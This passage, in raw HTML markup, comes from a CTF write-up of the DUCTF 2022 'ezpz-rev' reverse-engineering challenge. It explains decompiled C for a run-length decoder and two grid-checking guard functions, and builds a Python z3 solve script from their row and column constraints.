    &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; ind &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;    &lt;span class=&quot;token comment&quot;&gt;// Index used to insert into data. Serves the dual purpose of tracking the size of the data.&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; initcode&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; length &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; initcode&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token char&quot;&gt;&#39;0&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Convert digit (char) to int.&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt; c &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; initcode&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;// Character to fill.&lt;/span&gt;
        
        &lt;span class=&quot;token comment&quot;&gt;// Unpack run-length atom into `data`.&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;while&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;length&lt;span class=&quot;token operator&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            data&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;ind&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; c&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; data&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;In effect, the function initialises an array of chars by decoding a &lt;a href=&quot;https://en.wikipedia.org/wiki/Run-length_encoding&quot;&gt;run-length encoded&lt;/a&gt; string. For example, the string &lt;code&gt;5a4b3c2d&lt;/code&gt; gets expanded to &lt;code&gt;aaaaabbbbcccdd&lt;/code&gt;. Of course, the encoded string used is much longer, and it turns out that it fills all 196 (0xc4) chars allocated. There are a few more things I’d like to point out:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;196 (0xc4) is a number that pops up a lot in this binary.&lt;/li&gt;
&lt;li&gt;Although typical run-length encoded strings may have more than 9 digits packed together (e.g. 12c13e42f), the implementation above assumes a run-length of at most 9 (i.e. one digit).&lt;/li&gt;
&lt;li&gt;Interestingly, the characters encoded only range from &lt;code&gt;a&lt;/code&gt; to &lt;code&gt;n&lt;/code&gt;. We’ll see how these come into play later on.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;We can begin writing our solve script! Let’s perform this initialisation and decode the string into a &lt;code&gt;chars&lt;/code&gt; variable.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;encoded &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;5a4b3c2d5a4b4c1d2a1e3a3b4c1d2a1e1f2a3b3c1g1d3e5f1b2c2g1d1f2e4f6g1d7f3h3g1d4f6h3g1d2f1i4j1h2k2l1m1d3i2j5k2l2m2i3j4k3l2m2i3j4k3l2m1i5j2k2n2l2m1i4j5n4l&#39;&lt;/span&gt;
chars &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&#39;&#39;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;encoded&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;//&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    skip&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; char &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; encoded&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; encoded&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;i&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;   &lt;span class=&quot;token comment&quot;&gt;# Select pair of characters.&lt;/span&gt;
    chars &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;skip&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; char                   &lt;span class=&quot;token comment&quot;&gt;# Unpack run-length atom.&lt;/span&gt;

&lt;span class=&quot;token keyword&quot;&gt;assert&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;chars&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0xc4&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h3 id=&quot;the-first-and-second-guards-move-along-now-nothing-to-see-here&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2022-ezpz-rev/#the-first-and-second-guards-move-along-now-nothing-to-see-here&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; The First and Second Guards: Move Along Now, Nothing to See Here&lt;/h3&gt;
&lt;p&gt;If the initialisation procedures are the appetiser, then the four guards are the main course.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Ten-huttt!&quot; href=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-guards-1000w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-65&quot; src=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-guards-1000w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 1000 / 750&quot; alt=&quot;Four King&#39;s Guards marching along.&quot; title=&quot;Ten-huttt!&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-guards-256w.webp 256w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-guards-512w.webp 512w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-guards-1000w.webp 1000w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 1000px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I’ll be using the term guards and tests interchangeably. &lt;a href=&quot;https://en.m.wikipedia.org/wiki/Guard_(computer_science)&quot;&gt;Guards&lt;/a&gt; are a term I’m borrowing from CS and functional programming. It’s basically an elevated if-statement.&lt;/p&gt;
&lt;p&gt;Each guard checks if the input satisfies some condition. If the condition passes, the guard function returns 1, else 0. To get to the delicious dessert (the flag :P), we want all four functions to return 1.&lt;/p&gt;
&lt;p&gt;Easier said than done. Let’s start with the first function and see what it decompiles into.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Decompiled output of the first guard.&quot; href=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test1-938w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-75&quot; src=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test1-938w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 938 / 888&quot; alt=&quot;Decompiled output of the first guard.&quot; title=&quot;Decompiled output of the first guard.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test1-256w.webp 256w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test1-512w.webp 512w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test1-938w.webp 938w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 938px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Here’s a more readable version:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-c&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-c&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;test1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;char&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt; input&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; start &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; start &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;196&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; start &lt;span class=&quot;token operator&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; count &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;int&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;14&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt; i&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;input&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;start &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; i&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token char&quot;&gt;&#39;1&#39;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
                count&lt;span class=&quot;token operator&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
        &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;count &lt;span class=&quot;token operator&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Essentially, it groups input into blocks of 14 chars; then it checks if the number of &lt;code&gt;&#39;1&#39;&lt;/code&gt;s in each block is exactly three. If any check is false, then the function returns 0, meaning we have failed miserably.&lt;/p&gt;
&lt;p&gt;We can easily model this symbolically in z3. We’ll first create 196 symbols, each representing one character in input. Then, we&#39;ll create a z3 solver object: this is our interface to z3’s automagical solver. Through the solver, we can add constraints, remove constraints, generate concrete values, etc.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Create a bunch of symbols.&lt;/span&gt;
inputs &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;z3&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Int&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string-interpolation&quot;&gt;&lt;span class=&quot;token string&quot;&gt;f&#39;g_&lt;/span&gt;&lt;span class=&quot;token interpolation&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&#39;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;196&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Create a constraint solver object.&lt;/span&gt;
s &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; z3&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Solver&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Constrain possible input. We just care about the 1s, really.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; sym &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; inputs&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    s&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;add&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;z3&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Or&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;sym &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; sym &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

size &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;14&lt;/span&gt;

&lt;span class=&quot;token comment&quot;&gt;# Constraint 1: row-wise constraint.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;size&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    s&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;add&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;z3&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Sum&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;inputs&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;size&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;size&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Our simplest constraint is our input constraint. For this program, we’ll limit our symbols to take on only 0s and 1s. Why? Because it is easy for z3 to sum integer symbols. This way, if we want to count the number of 1s in a list, we can just call &lt;code&gt;z3.Sum&lt;/code&gt; on it.&lt;/p&gt;
&lt;p&gt;We then add the constraints of the first guard by selecting groups of 14 elements using Python’s slice notation &lt;code class=&quot;language-py&quot;&gt;inputs&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;size&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;size&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;i&lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt; and constrain it to 3.&lt;/p&gt;
&lt;p&gt;Nifty! Let’s see what the second function looks like.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;Decompiled output of the second guard.&quot; href=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test2-958w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-75&quot; src=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test2-958w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 958 / 944&quot; alt=&quot;Decompiled output of the second guard.&quot; title=&quot;Decompiled output of the second guard.&quot; srcset=&quot;https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test2-256w.webp 256w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test2-512w.webp 512w, https://trebledj.me/img/posts/ctf/ductf22/assets/ezpz-rev-test2-958w.webp 958w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 958px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;This looks surprisingly similar to the first test. In fact, the only thing that really changed is the &lt;em&gt;order&lt;/em&gt; of the loops. Observe how the first function moves along the grid in a row-major fashion, whereas the second function moves in a column-major fashion.&lt;/p&gt;
&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-circle-info ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;It may begin to dawn on you that the nested loops are hinting at a grid-like structure, a 14-by-14 2D array of characters. This realisation is pretty crucial, as it’ll help us reverse our last two functions much faster.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Let’s add these constraints to our solve script:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-python&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# Constraint 2: col-wise constraint.&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; i &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;size&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    s&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;add&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;z3&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;Sum&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;inputs&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;i&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;size&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Python&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;&lt;code&gt;inputs[i::size]&lt;/code&gt; is Python slice notation to iterate beginning from &lt;code&gt;i&lt;/code&gt; and picking every &lt;code&gt;size&lt;/code&gt; elements, e.g. &lt;code class=&quot;language-py&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;10&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Onto the next function!&lt;/p&gt;
&lt;h3 id=&quot;the-third-guard-please-wear-your-mask&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/ductf-2022-ezpz-rev/#the-third-guard-please-wear-your-mask&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; The Third Guard: Please Wear Your Mask&lt;/h3&gt;
